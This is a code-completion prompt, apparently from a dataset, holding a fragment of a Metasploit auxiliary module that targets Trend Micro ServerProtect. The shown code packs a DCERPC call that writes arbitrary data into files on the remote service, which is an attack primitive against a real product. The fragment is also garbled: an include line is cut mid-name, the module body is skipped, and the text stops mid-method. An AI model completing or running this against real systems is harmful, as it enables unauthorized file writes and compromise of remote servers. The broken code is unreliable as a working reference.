You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: file.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/admin/serverprotect
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::DCERPC
  include Msf::Post::Windows::Regi
    
  def serverprotect_writefile(handle, buf)
    data = "\0" * 4104
    data[0, 4] = [handle].pack('V')
    data[4, buf.length] = buf
    data[4100, 4] = [buf.length].pack('V')

    resp = serverprotect_rpccmd(131076, data, 4104)
    return if not resp

    if (resp.length != 4112)
      print_error("An unknown error occurred while calling WriteFile.")
      return 0
    else
      ret, = resp[4108,4].unpack('V')

      if ret != 0
        print_error("An error occurred while calling WriteFile: #{ret}.")
        return 0
      end